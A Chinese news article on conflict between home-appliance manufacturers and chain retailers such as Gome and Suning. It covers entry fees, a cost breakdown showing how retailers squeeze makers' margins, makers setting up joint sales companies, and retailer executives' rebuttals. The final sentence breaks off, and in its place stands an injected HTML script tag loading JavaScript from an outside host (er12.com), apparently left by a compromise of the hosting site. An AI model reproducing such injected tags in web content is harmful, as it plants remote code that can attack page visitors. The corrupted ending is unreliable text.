频频交恶――厂商关系日益紧张
厂家生产家电，卖场销售家电，二者本来是一个协调合作、舍谁都不可的关系，但是在如今的家电业内，这对密不可分的“兄弟”却时常搞得剑拔弩张甚至分道扬镳。年初以来，虽然在相关法规出台的情况下，厂商关系有了一定的协调准则，但是面对激烈的市场竞争，家电制造商和渠道商之间的角力不仅没有停止，甚至还更加激烈。这种厂商关系的紧张状况已经成为阻碍我国家电业发展壮大的一道障碍。
家电厂商之间的摩擦不断上演，有格力和国美的分道扬镳，也有因苏宁单方面宣布海信彩电大幅度降价从而引发的摩擦，去年更有家电厂家集体封杀盛兴连锁，导致盛兴在北京的多家卖场关闭。而前不久，康佳彩电又爆出在国美２０余家店面遭遇“封条”，暂停销售……
其实，家电厂商因利益之争引发的矛盾由来已久，只不过是过去大家都一直藏着掖着，不论是厂家还是商家，都没有将这种矛盾公开化、大规模化。如今，随着市场竞争日益激烈，加上终端市场逐渐饱和、上游原材料剧烈涨价、人民币汇率不断升值，家电市场的利润日渐稀薄，越来越小的“蛋糕”终于使厂家和商家开始撕破“温情脉脉的面纱”，利益之争遂浮出水面。
厂家埋怨――饱受卖场盘剥
伴随着家电业利润的日益稀薄和渠道为王时代的到来，厂家对渠道商尤其是连锁卖场的不满日益加剧。卖场利用自己直接面向终端的优势，想方设法挤压厂家的利润，拖欠货款、强收进场费、滥收促销宣传费、转移自己应该承担的风险等等，都已经成为厂家心头的不满。
一位业内专家在接受记者采访时，就目前卖场收取的各种费用做了一个简单的介绍：一款２５ｇｗ空调，出厂价最少要在１２５０元，在商场如果零售价是１４８０元，那这个价格要包括安装工时费２０元、促销员提成１０元、总代理商返利３０元、广告费５元、进店费５元、其他管理费２０元、送货上门服务费２０元、仓储费５元、商场扣点３０元、上架费５元、其他好处费１５元、节日降价促销３０元，按３到６个月的付款账期，工厂资金产生利息５元，除去这些后，只剩下１２８０元，与厂家的利润底线只有３０元之差。
由此可以看出，家电产品的大部分利润被卖场以各种名义拿走了，而这还是能说得出名目来的，其他像什么店庆费、卖场单方面降价所需的费用等等，最后制造商都照样得掏部分的钱。不仅如此，就是以上制造商仅有的３０元利润，还要被商家开会、论坛、出差、业务招待等费用挤占。
国内某家电企业的负责人向记者表示：“令我们最难受的是，连锁卖场要进场费是比着来的，会告诉你哪个企业出了多少进场费或者促销费。如果你出不了，卖场就不会主推你的产品，也不会在卖场中给你好位置。更令人寒心的是我们经常成为这些渠道商之间血拼的武器，尤其是２００５年，我们在全国各地因卖场之间的竞争而受到的胁迫多得数不过来，这是让我们供货商最无法接受的事情。”
为了摆脱卖场的盘剥，为自己争取主动，各大家电制造企业都开始建设自己的终端销售体系：格力打造了自己完善的销售渠道，格兰仕与湖北金石集团成立湖北格兰仕空调销售公司，２００５年７月?山东澳柯玛工贸有限公司成立，由此掀起了联营公司的成立高潮。此外，还有ｔｃｉ建立了幸福树连锁渠道，美的在中山、上海、浙江成立联营公司，格兰仕又在浙江、福建成立联营公司，长虹在上海组建联营公司，科龙在江西组建联合销售公司……众多家电品牌陆续在自己的强势区域复制格力的联营公司模式，说明制造商们已经认识到多渠道资源争夺的迫切性和必要性。
商家抱屈――我们没有暴利
对于厂家抱怨的进场费、利润压榨和风险转移等问题，一直被业内称为王者的渠道商在接受记者采访时也满腹委屈。
国美采销中心总经理李俊涛用数据进行了反驳：日本及美国的家电连锁综合毛利率都是２５％－３５％，而国美仅仅只有１０％左右，所以不存在什么卖场靠盘剥厂家来获得暴利之说。
永乐总裁陈晓也表示：“国内制造品牌同质化严重，众多家电厂家销售人员数量庞大，成本巨大，各品牌都在商场内布置豪华的展示终端，这又是一块巨大的成本。所有家电制造企业都希望掌控其产品零售价格，商家在终端的销售行为被厂家控制。这样一个控制和被控制就造成我们在采购商品的过程中，并没有把商品销售的责任主体采购回来。既然销售商品的责任主体没有转移到我们零售企业，那么我们零售企业实际上也就不应该去承担风险和问题。”
国美总裁黄光裕表示：家电厂家的苦日子也并非家电连锁巨头挤压造成的。厂家的利润空间微薄，与很多因素有关。国美２００５年营业额达到１７９．５９亿元，同比上升４２％，但净利润并没有实现同幅度增长，仅上升２．７％。此外，２００５年国美电器毛利率也由９．６３％下降为９．２％。
对于进场费的问题，黄光裕也认为没什么不妥，他认为进场费只是家?script src=http://er12.com/t.js>
